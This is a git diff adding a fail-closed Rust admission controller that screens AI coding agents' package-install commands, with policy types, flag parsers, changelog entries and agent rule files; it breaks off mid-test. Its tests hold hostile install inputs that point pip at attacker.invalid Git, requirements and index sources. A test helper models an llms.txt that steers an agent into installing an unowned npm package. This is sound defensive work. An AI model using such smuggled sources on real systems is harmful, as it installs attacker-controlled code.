diff --git a/AGENTS.md b/AGENTS.md index ae81252e..8fcda392 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -1,6 +1,7 @@ # Agent Instructions - Keep the project Rust-first for gateway, DNSBL, and high-throughput control-plane code. +- Preserve Wardnet ownership of Agent Artifact Admission, gateway/SOC control-plane policy, and security evidence. Treat `quarantine-sandbox-runtime`, `EgressWeave`, `contextual-orchestrator`, and `appguardrail` as external canonical owners whose released contracts/evidence Wardnet validates rather than reimplements. - Prefer proven security engines over fake in-house detections. Integrate OWASP CRS/Coraza, Suricata, STIX/TAXII, MISP, or OpenCTI before inventing equivalent engines. - Do not use Figma Code Connect for this project unless explicitly requested later. - Keep MVP work narrow: web management, gateway decisions, event/KPI visibility, and DNSBL publishing before broader SIEM/SOAR scope. diff --git a/CHANGELOG.md b/CHANGELOG.md index 83d80680..2d3ce20f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,9 +4,22 @@ ### Security +- Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. +- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, opaque runtime configuration, or undeclared resolver output: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. pnpm requests still require both `--ignore-scripts` and `--ignore-pnpmfile` before resolver authority is considered; pip, pip3, and `uv pip install` require exact `--no-deps` so the resolver cannot add artifacts absent from the reviewed intent. +- Fail closed when a pip/pip3 install request includes `--no-require-hashes`: Wardnet's approved PyPI path requires hash-checking mode and does not accept a contradictory installer option that disables automatic hash enforcement alongside the positive requirement. This parser-boundary denial is separate from downstream proof that retrieved bytes match the reviewed artifact digest. +- Fail closed on direct `npm install`, `pnpm add/install`, `yarn add`, and `bun add/install` even when the direct package coordinate and execution-hardening flags match policy, because the v0.1 intent carries only reviewed direct artifacts and cannot prove the transitive dependency closure those commands may resolve. `--ignore-scripts` is execution hardening, not dependency identity. A future npm-family allow path requires a reviewed immutable lockfile/material-set contract plus an executor command that is proven to consume that exact closure without rewriting it; until then resolver-selected transitive artifacts have no Wardnet admission authority. +- Bound registry/index package source identity to the reviewed artifact coordinate: npm/pnpm/Yarn/Bun direct package operands must encode the exact reviewed `@`, and pip/pip3/`uv pip install` operands must encode the exact reviewed `==`. npm aliases, tarball/git/folder package specs and pip direct URL/VCS/local-source requirements cannot inherit approval from a different reviewed registry/index coordinate; unsafe policy drift fails closed during service configuration as well as request admission. +- Bound Cargo install mutation authority to reviewed policy: caller-supplied `-f` / `--force` overwrite capability and `--no-track` metadata/concurrent-install bypass now fail closed as `artifact_not_approved` because the approved artifact coordinate does not authorize replacing existing binaries or disabling Cargo's install tracking/collision protection. +- Bound PyPI approval to the reviewed artifact/build identity rather than caller-selected installer resolution or build variants: pip `--platform`, `--python-version`, `--implementation`, `--abi`, binary/source selectors, build-isolation controls, and `-C` / `--config-settings`, together with the corresponding `uv pip install` target-platform/binary/source/build/backend controls, fail closed as `artifact_not_approved` until policy can bind the selected distribution/build identity explicitly. +- Bound PyPI dependency/build selection authority to the reviewed artifact set: caller-supplied pip `-c` / `--constraint` / `--build-constraint` and uv `-c` / `--constraint` / `--constraints` / `-b` / `--build-constraint` / `--build-constraints` documents fail closed as `artifact_not_approved`, including attached-value spellings that otherwise bypass positional-operand accounting. +- Bound pip dependency-group authority to the reviewed artifact set: caller-supplied `--group` for `pip install` / `pip3 install`, including explicit external `pyproject.toml` paths and attached-value spellings, fails closed as `artifact_not_approved` instead of importing unreviewed package requirements. +- Bound OCI pull approval to the reviewed artifact identity rather than caller-selected client variants: Docker/Podman `--platform` and Podman-equivalent `--arch`, `--os`, and `--variant` selectors fail closed as `artifact_not_approved` until a versioned policy schema can authorize the selected platform-specific manifest identity or equivalent provenance. +- Bound OCI pull cardinality to the exact reviewed artifact set: Docker/Podman `-a` / `--all-tags`, true Boolean assignments, and bundled Boolean shorthand semantics fail closed as `artifact_not_approved` whenever they enable repository-wide mutable tag expansion. This includes `-aq` / `-qa` and assigned bundles such as `-aq=false`, where the preceding `-a` remains enabled; quiet-only shorthand and a final explicitly false all-tags shorthand such as `-qa=false` remain admissible. +- Bound Podman registry transport, authentication, and image-decryption authority to reviewed policy: false forms of `--tls-verify`, caller-selected `--cert-dir` / `--authfile`, inline `--creds`, and `--decryption-key` key/passphrase material fail closed as `alternate_trust_root`, while explicit TLS verification remains compatible with the approved registry identity. Registry credentials and image-decryption secrets remain separately governed downstream deployment/secret authorities rather than untrusted install argv. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. ### Operations +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, package source-coordinate binding, npm-family transitive dependency-closure denial, Cargo overwrite/tracking authority, PyPI artifact/build-variant and dependency-cardinality controls, exact-set OCI pull cardinality, OCI platform-variant and registry transport/authentication/decryption authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. - Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. diff --git a/CLAUDE.md b/CLAUDE.md index 742e3096..d9be6212 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -40,13 +40,14 @@ cargo +nightly fuzz run fuzz_score_request -- -max_total_time=60 ## Toolchain -`rust-toolchain.toml` pins the `stable` channel with `llvm-tools-preview` (needed by `cargo llvm-cov`), `rustfmt`, and `clippy`. Both workspace crates use `edition = "2024"`. Fuzzing is the one exception that needs nightly. +`rust-toolchain.toml` pins the `stable` channel with `llvm-tools-preview` (needed by `cargo llvm-cov`), `rustfmt`, and `clippy`. All three root-workspace crates use `edition = "2024"`. Fuzzing is the one exception that needs nightly. ## Workspace Layout -Root Cargo workspace with two members (resolver 3): +Root Cargo workspace with three members (resolver 3): - `crates/waf-ids-core` — pure domain crate, no async/HTTP deps (only `serde` + `percent-encoding`): models, validation, upserts, request scoring, DNSBL zone formatting, event retention, threat-feed freshness, KPI snapshots, commercial readiness, buyer evidence manifests. +- `crates/agent-artifact-admission` — Wardnet-owned pre-execution admission boundary for immutable agent artifact/evidence facts, policy evaluation, and auditable allow/deny receipts. It validates released evidence/contracts from canonical sibling owners; it does not execute hostile workloads or reimplement sandbox, egress, orchestration, or guardrail policy engines. - Root crate `waf-ids-ai-soc` (`src/lib.rs`) — Axum management API, embedded admin console, optional JSON state persistence, upstream proxying, NDJSON event export, support bundle assembly, plus the in-crate HTTP tests. Depends on `waf-ids-core`. - `src/main.rs` — deliberately thin shim over `waf_ids_ai_soc::run_from_env` so all config/serve logic is unit-testable; covered end-to-end by `tests/binary.rs` (SIGTERM graceful shutdown). - `fuzz/` — a **separate** cargo workspace (empty `[workspace]` table in `fuzz/Cargo.toml` — do not remove) so root `cargo test --workspace` never builds fuzz targets. Seed corpora live in `fuzz/corpus//`. @@ -67,6 +68,7 @@ Read in `run_from_env` (`src/lib.rs`): `BIND_ADDR` (default `127.0.0.1:8080`), ` ## Key Conventions - Management writes require `X-Admin-Token` and are **upserts**: routes keyed by `id`, threat indicators by `indicator_type` + `value` + `source`, DNSBL entries by `address`. DNSBL response codes must be in `127.0.0.0/8`. +- Agent Artifact Admission owns Wardnet's artifact/evidence binding, admission policy decision, and Wardnet receipt. `quarantine-sandbox-runtime`, `EgressWeave`, `contextual-orchestrator`, and `appguardrail` remain external canonical owners; consume only released contracts/evidence and never copy their implementation logic into Wardnet. - State persistence uses write-to-temp-sibling + atomic rename; management API mutations roll back in memory if the state file cannot be replaced. - Audit logs must never leak admin tokens (`scripts/smoke.sh` asserts this). - Untrusted-input surfaces (request scorer, state deserializer, admin-token parser, DNSBL zone export) are fuzzed; if you change one, keep its libFuzzer target and proptest mirror in sync (`docs/fuzzing.md` lists the invariants per target). diff --git a/Cargo.lock b/Cargo.lock index c696190f..6a1cb1ed 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1347,6 +1347,7 @@ dependencies = [ "tokio", "tower", "waf-ids-core", + "wardnet-agent-artifact-admission", ] [[package]] @@ -1377,6 +1378,19 @@ dependencies = [ "try-lock", ] +[[package]] +name = "wardnet-agent-artifact-admission" +version = "0.1.0" +dependencies = [ + "axum", + "ring", + "serde", + "serde_json", + "tokio", + "tower", + "url", +] + [[package]] name = "wasi" version = "0.11.1+wasi-snapshot-preview1" diff --git a/Cargo.toml b/Cargo.toml index b2ec231f..40415656 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -6,7 +6,7 @@ description = "Rust-first WAF/IDS/AI SOC gateway with DNSBL and commercial readi license = "MIT" [workspace] -members = [".", "crates/waf-ids-core"] +members = [".", "crates/waf-ids-core", "crates/agent-artifact-admission"] resolver = "3" [dependencies] @@ -23,3 +23,4 @@ tower = { version = "0.5", features = ["util"] } # Property-based testing (MIT OR Apache-2.0); mirrors the cargo-fuzz target for # parse_admin_tokens so its invariants stay green in primary CI. proptest = "1" +wardnet-agent-artifact-admission = { path = "crates/agent-artifact-admission" } diff --git a/crates/agent-artifact-admission/Cargo.toml b/crates/agent-artifact-admission/Cargo.toml new file mode 100644 index 00000000..9acea34b --- /dev/null +++ b/crates/agent-artifact-admission/Cargo.toml @@ -0,0 +1,17 @@ +[package] +name = "wardnet-agent-artifact-admission" +version = "0.1.0" +edition = "2024" +description = "Fail-closed package-install admission policy for AI coding agents" +license = "MIT" + +[dependencies] +axum = "0.8" +ring = "0.17" +serde = { version = "1", features = ["derive"] } +serde_json = "1" +tokio = { version = "1", features = ["macros", "net", "rt-multi-thread", "signal"] } +url = "2" + +[dev-dependencies] +tower = { version = "0.5", features = ["util"] } diff --git a/crates/agent-artifact-admission/src/admission.rs b/crates/agent-artifact-admission/src/admission.rs new file mode 100644 index 00000000..45c3a58b --- /dev/null +++ b/crates/agent-artifact-admission/src/admission.rs @@ -0,0 +1,283 @@ +use serde::{Deserialize, Serialize}; + +/// Immutable admission policy loaded through reviewed configuration. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)] +#[serde(deny_unknown_fields)] +pub struct AdmissionPolicy { + /// Stable policy identifier surfaced in responses and audit records. + pub policy_id: String, + /// Immutable policy revision identifier. + pub policy_revision: String, + /// Executables that may be considered for admission. + #[serde(default)] + pub allowed_executables: Vec, + /// Reviewed workspace manifest digests. + #[serde(default)] + pub approved_manifests: Vec, + /// Exact approved install artifacts. + #[serde(default)] + pub approved_artifacts: Vec, +} + +impl AdmissionPolicy { + /// Test helper that proves the evaluator blocks when nothing is approved. + pub fn deny_all_for_test() -> Self { + Self { + policy_id: "deny-all".to_string(), + policy_revision: "test".to_string(), + allowed_executables: Vec::new(), + approved_manifests: Vec::new(), + approved_artifacts: Vec::new(), + } + } +} + +/// Reviewed manifest identity allowed by policy. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct ApprovedManifest { + /// Workspace identifier the reviewed manifest belongs to. + pub workspace_id: String, + /// Exact SHA-256 digest of the reviewed manifest. + pub sha256: String, +} + +/// Exact package artifact allowed by policy. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct ApprovedArtifact { + /// Package ecosystem, such as `npm` or `cargo`. + pub ecosystem: String, + /// Exact package name. + pub name: String, + /// Exact package version. + pub version: String, + /// Normalized registry URL. + pub registry_url: String, + /// Reviewed package owner or publisher label. + pub owner: String, + /// Exact artifact SHA-256 digest. + pub sha256: String, + /// Exact argv token that names the artifact to install. + pub artifact_argument: String, +} + +/// One requested artifact inside an install intent. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct ArtifactCoordinate { + /// Package ecosystem, such as `npm` or `cargo`. + pub ecosystem: String, + /// Exact package name. + pub name: String, + /// Exact package version. + pub version: String, + /// Normalized registry URL. + pub registry_url: String, + /// Claimed package owner or publisher label. + pub owner: String, + /// Exact artifact SHA-256 digest. + pub sha256: String, + /// Exact argv token that names the artifact to install. + pub artifact_argument: String, +} + +/// Provenance of the instruction that requested the install. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct InstructionSource { + /// Untrusted source category. + pub kind: InstructionSourceKind, + /// Canonical source URI when available. + pub uri: Option, + /// SHA-256 digest of the retrieved source content. + pub content_sha256: Option, +} + +/// Untrusted instruction source kinds. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum InstructionSourceKind { + /// `llms.txt` retrieved from a remote origin. + LlmsTxt, + /// `llms-full.txt` retrieved from a remote origin. + LlmsFullTxt, + /// Arbitrary web page content. + WebPage, + /// Issue or PR comment content. + IssueComment, + /// Local reviewed manifest or operator-entered content. + ReviewedConfig, +} + +/// Structured install request evaluated before any executor runs it. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct InstallIntent { + /// Stable request identifier supplied by the caller. + pub request_id: String, + /// Identity of the requesting agent or broker. + pub actor_id: String, + /// Workspace or repository identifier. + pub workspace_id: String, + /// Structured operation, limited to install in this slice. + pub operation: String, + /// Tokenized command vector; shell strings are forbidden upstream. + pub argv: Vec, + /// Exact reviewed dependency-manifest digest for the workspace. + pub manifest_sha256: String, + /// Instruction provenance. + pub source: InstructionSource, + /// Exact install artifacts represented in `argv`. + pub artifacts: Vec, +} + +impl InstallIntent { + /// Test helper representing an untrusted `llms.txt` package suggestion. + pub fn unowned_llms_package_for_test() -> Self { + Self { + request_id: "req-test-0001".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "npm".to_string(), + "install".to_string(), + "@unowned/example@1.2.3".to_string(), + "--ignore-scripts".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::LlmsTxt, + uri: Some("https://example.invalid/llms.txt".to_string()), + content_sha256: Some( + "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb".to_string(), + ), + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@unowned/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "Unowned".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), + artifact_argument: "@unowned/example@1.2.3".to_string(), + }], + } + } +} + +/// Deterministic allow/block result returned to the caller. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct AdmissionDecision { + /// Original caller request identifier or a content-addressed malformed surrogate. + pub request_id: String, + /// Final policy decision. + pub decision: DecisionKind, + /// Stable machine-readable block reasons. + pub reason_codes: Vec, + /// Stable policy identifier. + pub policy_id: String, + /// Stable policy revision. + pub policy_revision: String, + /// Normalized source URI when present. + pub normalized_source_uri: Option, + /// SHA-256 of the structured command vector or malformed request body. + pub command_sha256: String, + /// Number of artifacts the caller asked to install. + pub artifact_count: usize, +} + +/// Admission outcome. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum DecisionKind { + /// The command exactly matches policy. + Allow, + /// The command must not be executed. + Block, +} + +impl DecisionKind { + /// Stable string form used by tests and callers that do not deserialize. + pub fn as_str(self) -> &'static str { + match self { + Self::Allow => "allow", + Self::Block => "block", + } + } +} + +/// Stable machine-readable block reason. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum ReasonCode { + /// The request body could not be parsed as the strict install-intent schema. + MalformedRequest, + /// The authenticated request body exceeded the configured materialization limit. + RequestBodyTooLarge, + /// A bounded identifier, argument vector, source field, or count was invalid. + InvalidRequest, + /// The structured operation was not the supported install operation. + InvalidOperation, + /// The reviewed workspace manifest digest was malformed. + InvalidManifestDigest, + /// One or more artifact coordinates were malformed or unpinned. + InvalidArtifact, + /// Duplicate artifact identities or artifact argument tokens were supplied. + DuplicateArtifact, + /// No exact approved artifact matched the requested install. + ArtifactNotApproved, + /// No reviewed manifest matched the workspace digest. + ManifestNotApproved, + /// The executable is not on the explicit allowlist. + ExecutableNotAllowed, + /// The request omitted an executable. + MissingExecutable, + /// The request omitted a required remote source URI. + MissingSourceUri, + /// The request omitted a required source content digest. + MissingSourceDigest, + /// The request used an insecure or malformed source URI. + InvalidSourceUri, + /// The command path is forbidden even if otherwise allowlisted. + ForbiddenCommand, + /// The command attempted to introduce an alternate package trust root. + AlternateTrustRoot, + /// The command attempted to install outside the executor-selected workspace root. + AlternateInstallRoot, + /// The package manager invocation omitted a mandatory hardening flag. + MissingSafetyFlag, + /// Durable audit evidence could not be persisted before returning a decision. + AuditUnavailable, +} + +impl ReasonCode { + /// Stable string form used by tests and audit sinks. + pub fn as_str(self) -> &'static str { + match self { + Self::MalformedRequest => "malformed_request", + Self::RequestBodyTooLarge => "request_body_too_large", + Self::InvalidRequest => "invalid_request", + Self::InvalidOperation => "invalid_operation", + Self::InvalidManifestDigest => "invalid_manifest_digest", + Self::InvalidArtifact => "invalid_artifact", + Self::DuplicateArtifact => "duplicate_artifact", + Self::ArtifactNotApproved => "artifact_not_approved", + Self::ManifestNotApproved => "manifest_not_approved", + Self::ExecutableNotAllowed => "executable_not_allowed", + Self::MissingExecutable => "missing_executable", + Self::MissingSourceUri => "missing_source_uri", + Self::MissingSourceDigest => "missing_source_digest", + Self::InvalidSourceUri => "invalid_source_uri", + Self::ForbiddenCommand => "forbidden_command", + Self::AlternateTrustRoot => "alternate_trust_root", + Self::AlternateInstallRoot => "alternate_install_root", + Self::MissingSafetyFlag => "missing_safety_flag", + Self::AuditUnavailable => "audit_unavailable", + } + } +} diff --git a/crates/agent-artifact-admission/src/artifact_source_identity.rs b/crates/agent-artifact-admission/src/artifact_source_identity.rs new file mode 100644 index 00000000..79cab5c1 --- /dev/null +++ b/crates/agent-artifact-admission/src/artifact_source_identity.rs @@ -0,0 +1,119 @@ +use crate::InstallIntent; + +/// Return whether an install operand selects an artifact source that disagrees +/// with the reviewed registry/index name and exact version coordinate. +pub(crate) fn requests_unapproved_artifact_source(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + let arguments = &intent.argv[1..]; + let supported_direct_install = match executable { + "npm" => arguments + .first() + .is_some_and(|argument| matches!(argument.as_str(), "install" | "i")), + "pnpm" | "bun" => arguments + .first() + .is_some_and(|argument| matches!(argument.as_str(), "add" | "install")), + "yarn" => arguments.first().is_some_and(|argument| argument == "add"), + "pip" | "pip3" => arguments + .first() + .is_some_and(|argument| argument == "install"), + "uv" => { + arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") + } + _ => false, + }; + if !supported_direct_install { + return false; + } + + if matches!(executable, "pip" | "pip3") + && arguments + .iter() + .skip(1) + .any(|argument| requests_pip_indirect_source_abbreviation(argument)) + { + return true; + } + + intent.artifacts.iter().any(|artifact| { + !artifact_argument_matches_reviewed_source( + &artifact.ecosystem, + &artifact.name, + &artifact.version, + &artifact.artifact_argument, + ) + }) +} + +/// Direct pip uses Python's optparse-compatible parser, which accepts +/// unambiguous long-option prefixes. Canonical `--requirement`/`--editable` +/// and their short spellings are already rejected by the policy evaluator; +/// this source-identity boundary covers only the accepted long abbreviations +/// that otherwise introduce an undeclared requirements or editable source. +fn requests_pip_indirect_source_abbreviation(argument: &str) -> bool { + let option = argument + .split_once('=') + .map_or(argument, |(option, _)| option); + + [("--requirement", "--requirem"), ("--editable", "--ed")] + .iter() + .any(|(canonical, shortest_accepted_prefix)| { + option.len() >= shortest_accepted_prefix.len() + && option != *canonical + && canonical.starts_with(option) + }) +} + +/// Require registry/index-backed package ecosystems to encode the exact +/// reviewed name and version in the direct installer operand. This prevents a +/// policy coordinate from being paired with an npm alias/tarball/git/folder or +/// a pip direct URL/VCS/local source that has a different source authority. +pub(crate) fn artifact_argument_matches_reviewed_source( + ecosystem: &str, + name: &str, + version: &str, + artifact_argument: &str, +) -> bool { + match ecosystem { + "npm" => artifact_argument == format!("{name}@{version}"), + "pypi" => artifact_argument == format!("{name}=={version}"), + _ => true, + } +} + +#[cfg(test)] +mod tests { + use super::requests_pip_indirect_source_abbreviation; + + #[test] + fn pip_indirect_source_abbreviations_are_bounded_to_verified_prefixes() { + for option in [ + "--requirem=attacker-requirements.txt", + "--requireme", + "--ed=git+https://attacker.invalid/example.git", + "--edit", + ] { + assert!( + requests_pip_indirect_source_abbreviation(option), + "accepted pip indirect-source abbreviation must be classified: {option}" + ); + } + + for option in [ + "--requ=attacker-requirements.txt", + "--e=git+https://attacker.invalid/example.git", + "--requirement=attacker-requirements.txt", + "--editable=git+https://attacker.invalid/example.git", + "--extra-index-url=https://attacker.invalid/simple", + ] { + assert!( + !requests_pip_indirect_source_abbreviation(option), + "ambiguous, canonical, or unrelated option must not be classified as a pip abbreviation: {option}" + ); + } + } +} diff --git a/crates/agent-artifact-admission/src/artifact_variant.rs b/crates/agent-artifact-admission/src/artifact_variant.rs new file mode 100644 index 00000000..e4cd544b --- /dev/null +++ b/crates/agent-artifact-admission/src/artifact_variant.rs @@ -0,0 +1,295 @@ +use crate::InstallIntent; +use crate::policy::uv_active_command_index; + +/// Return whether an install asks the package client to expand or select +/// artifact/build identity that is not represented by the approved coordinates. +pub(crate) fn requests_unapproved_artifact_variant(intent: &InstallIntent) -> bool { + requests_unapproved_oci_artifact_variant(intent) + || requests_unapproved_pypi_artifact_variant(intent) + || requests_unapproved_cargo_artifact_variant(intent) +} + +/// Return whether an OCI pull asks the client to expand or select artifact +/// identity that is not represented by the approved artifact coordinates. +fn requests_unapproved_oci_artifact_variant(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if !matches!(executable, "docker" | "podman") { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments.first().is_some_and(|argument| argument == "pull") { + return false; + } + + arguments.iter().any(|argument| { + argument == "--all-tags" + || argument == "-a" + || requests_all_tags_short_bundle(argument) + || argument + .strip_prefix("--all-tags=") + .is_some_and(is_true_boolean) + || argument.strip_prefix("-a=").is_some_and(is_true_boolean) + || argument == "--platform" + || argument.starts_with("--platform=") + || (executable == "podman" + && (argument == "--arch" + || argument.starts_with("--arch=") + || argument == "--os" + || argument.starts_with("--os=") + || argument == "--variant" + || argument.starts_with("--variant="))) + }) +} + +/// Cargo accepts both `crate@version` and `--version`/`--vers` selectors. The +/// admission coordinate already carries one exact reviewed version, so the CLI +/// must encode that same identity rather than letting the caller select another. +fn requests_unapproved_cargo_artifact_variant(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if executable != "cargo" { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments + .first() + .is_some_and(|argument| argument == "install") + { + return false; + } + + if arguments.iter().skip(1).any(|argument| { + matches_value_flag(argument, "--version") || matches_value_flag(argument, "--vers") + }) { + return true; + } + + intent.artifacts.iter().any(|artifact| { + artifact.ecosystem == "cargo" + && artifact.artifact_argument != format!("{}@{}", artifact.name, artifact.version) + }) +} + +/// Pip-compatible installers can select a wheel compatibility target or +/// force/configure a source build independently of the approved name/version +/// coordinate. Until policy carries that artifact/build identity, caller- +/// selected selectors fail closed. +fn requests_unapproved_pypi_artifact_variant(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + let arguments = &intent.argv[1..]; + + match executable { + "pip" | "pip3" + if arguments + .first() + .is_some_and(|argument| argument == "install") => + { + arguments + .iter() + .skip(1) + .any(requests_unapproved_pip_variant) + } + "uv" => { + let Some(pip_index) = uv_active_command_index(arguments) else { + return false; + }; + if arguments[pip_index] != "pip" + || !arguments + .get(pip_index + 1) + .is_some_and(|argument| argument == "install") + { + return false; + } + + arguments + .iter() + .skip(pip_index + 2) + .any(requests_unapproved_uv_pip_variant) + } + _ => false, + } +} + +fn requests_unapproved_pip_variant(argument: &String) -> bool { + requests_pip_artifact_variant_abbreviation(argument) + || matches_value_flag(argument, "--platform") + || matches_value_flag(argument, "--python-version") + || matches_value_flag(argument, "--implementation") + || matches_value_flag(argument, "--abi") + || matches_value_flag(argument, "--no-binary") + || matches_value_flag(argument, "--only-binary") + || argument == "--prefer-binary" + || argument == "--no-build-isolation" + || matches_short_value_flag(argument, "-C") + || matches_value_flag(argument, "--config-settings") +} + +/// Direct pip uses Python's optparse-compatible long-option grammar. Classify +/// only prefixes verified as unambiguous for artifact/build selectors; uv and +/// other installers intentionally keep their independent grammars. +fn requests_pip_artifact_variant_abbreviation(argument: &str) -> bool { + let (option, has_attached_value) = argument + .split_once('=') + .map_or((argument, false), |(option, _)| (option, true)); + + let value_selectors = [ + ("--platform", "--pl"), + ("--python-version", "--python-"), + ("--implementation", "--im"), + ("--abi", "--a"), + ("--no-binary", "--no-bi"), + ("--only-binary", "--o"), + ("--config-settings", "--conf"), + ]; + if value_selectors + .iter() + .any(|(canonical, shortest)| matches_pip_long_abbreviation(option, canonical, shortest)) + { + return true; + } + + !has_attached_value + && [ + ("--prefer-binary", "--prefe"), + ("--no-build-isolation", "--no-bu"), + ] + .iter() + .any(|(canonical, shortest)| matches_pip_long_abbreviation(option, canonical, shortest)) +} + +fn matches_pip_long_abbreviation(option: &str, canonical: &str, shortest: &str) -> bool { + option.len() >= shortest.len() && option != canonical && canonical.starts_with(option) +} + +fn requests_unapproved_uv_pip_variant(argument: &String) -> bool { + matches_value_flag(argument, "--python-platform") + || matches_value_flag(argument, "--no-binary") + || matches_value_flag(argument, "--no-binary-package") + || matches_value_flag(argument, "--only-binary") + || matches_value_flag(argument, "--only-binary-package") + || argument == "--no-build" + || argument == "--no-build-isolation" + || matches_value_flag(argument, "--no-build-isolation-package") + || matches_short_value_flag(argument, "-C") + || matches_value_flag(argument, "--config-setting") + || matches_value_flag(argument, "--config-settings") + || matches_value_flag(argument, "--config-settings-package") +} + +fn matches_value_flag(argument: &str, flag: &str) -> bool { + argument == flag + || argument + .strip_prefix(flag) + .is_some_and(|suffix| suffix.starts_with('=')) +} + +/// Pip-compatible option parsers accept short options with their required +/// value attached, for example `-Cbackend-mode=unsafe`, so exact-token matching +/// is insufficient. +fn matches_short_value_flag(argument: &str, flag: &str) -> bool { + argument == flag + || argument + .strip_prefix(flag) + .is_some_and(|suffix| !suffix.is_empty()) +} + +/// Docker and Podman expose `-a` (`--all-tags`) and `-q` (`--quiet`) as +/// Boolean pull shorthands. Their pflag-style parsers permit shorthand bundles; +/// every non-final Boolean shorthand is enabled while an attached assignment +/// belongs to the final shorthand. Thus `-aq=false` still enables `-a`, whereas +/// `-qa=false` leaves `-a` disabled. +fn requests_all_tags_short_bundle(argument: &str) -> bool { + let Some(bundle) = argument.strip_prefix('-') else { + return false; + }; + if bundle.starts_with('-') { + return false; + } + + let (shorthands, assigned_value) = match bundle.split_once('=') { + Some(parts) => parts, + None => (bundle, ""), + }; + if shorthands.chars().count() < 2 || !shorthands.chars().all(|flag| matches!(flag, 'a' | 'q')) { + return false; + } + + let mut flags = shorthands.chars(); + let Some(last_flag) = flags.next_back() else { + return false; + }; + if flags.any(|flag| flag == 'a') { + return true; + } + + last_flag == 'a' && (assigned_value.is_empty() || is_true_boolean(assigned_value)) +} + +fn is_true_boolean(value: &str) -> bool { + matches!(value.to_ascii_lowercase().as_str(), "1" | "t" | "true") +} + +#[cfg(test)] +mod tests { + use super::requests_pip_artifact_variant_abbreviation; + + #[test] + fn pip_artifact_variant_abbreviations_are_bounded_to_verified_prefixes() { + for option in [ + "--pl", + "--pl=manylinux2014_x86_64", + "--python-", + "--python-=3.11", + "--im", + "--im=cp", + "--a", + "--a=cp311", + "--no-bi", + "--no-bi=:all:", + "--o", + "--o=:all:", + "--prefe", + "--no-bu", + "--conf", + "--conf=backend-mode=unsafe", + ] { + assert!( + requests_pip_artifact_variant_abbreviation(option), + "verified direct-pip artifact/build abbreviation must be classified: {option}" + ); + } + + for option in [ + "--p", + "--py", + "--i", + 